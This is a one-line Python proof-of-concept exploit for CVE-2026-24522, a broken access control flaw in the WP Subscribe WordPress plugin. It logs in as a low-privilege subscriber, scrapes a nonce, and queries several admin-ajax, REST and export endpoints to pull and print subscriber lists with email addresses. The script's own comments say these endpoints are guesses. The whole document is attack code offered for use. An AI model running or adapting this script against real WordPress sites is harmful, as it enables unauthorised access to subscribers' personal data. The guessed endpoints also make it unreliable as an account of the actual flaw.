CVE-2026-24522

# CVE-2026-24522 PoC - WP Subscribe Broken Access Control # Affected: WP Subscribe <= 1.2.16 # Author: Security Researcher import requests import sys TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" PASSWORD = "user_password" def get_nonce(wordpress_url): """Get WordPress nonce for authentication""" login_url = f"{wordpress_url}/wp-login.php" session = requests.Session() # Login to WordPress login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In' } session.post(login_url, data=login_data) # Get nonce from admin page admin_url = f"{wordpress_url}/wp-admin/admin.php?page=wp-subscribe" resp = session.get(admin_url) # Extract nonce (adjust pattern based on actual implementation) import re nonce_match = re.search(r'data-nonce="([a-zA-Z0-9]+)"', resp.text) if nonce_match: return nonce_match.group(1), session return None, session def exploit_authorization_bypass(target_url, session, nonce=None): """Exploit the missing authorization vulnerability""" # Exploit 1: Get subscriber list (should require admin privileges) print("[*] Attempting to retrieve subscriber list...") # Common vulnerable endpoints in WP Subscribe vulnerable_endpoints = [ f"{target_url}/wp-admin/admin-ajax.php?action=wp_subscribe_get_subscribers", f"{target_url}/wp-json/wp-subscribe/v1/subscribers", f"{target_url}/wp-admin/admin.php?page=wp-subscribe&action=export" ] results = [] for endpoint in vulnerable_endpoints: try: resp = session.get(endpoint, timeout=10) if resp.status_code == 200 and ('email' in resp.text.lower() or 'subscriber' in resp.text.lower()): print(f"[+] Vulnerable endpoint found: {endpoint}") print(f"[+] Response preview: {resp.text[:500]}") results.append({"endpoint": endpoint, "data": resp.text}) except Exception as e: print(f"[-] Error accessing {endpoint}: {e}") return results def main(): if len(sys.argv) > 1: target_url = sys.argv[1] else: target_url = TARGET_URL print(f"[*] Testing CVE-2026-24522 on {target_url}") print("[*] This vulnerability allows low-privilege users to access admin functions") nonce, session = get_nonce(target_url) results = exploit_authorization_bypass(target_url, session, nonce) if results: print("\n[!] VULNERABLE - Authorization bypass confirmed!") print(f"[!] Found {len(results)} exploitable endpoints") else: print("\n[*] No obvious vulnerabilities found (may need manual testing)") if __name__ == "__main__": main()

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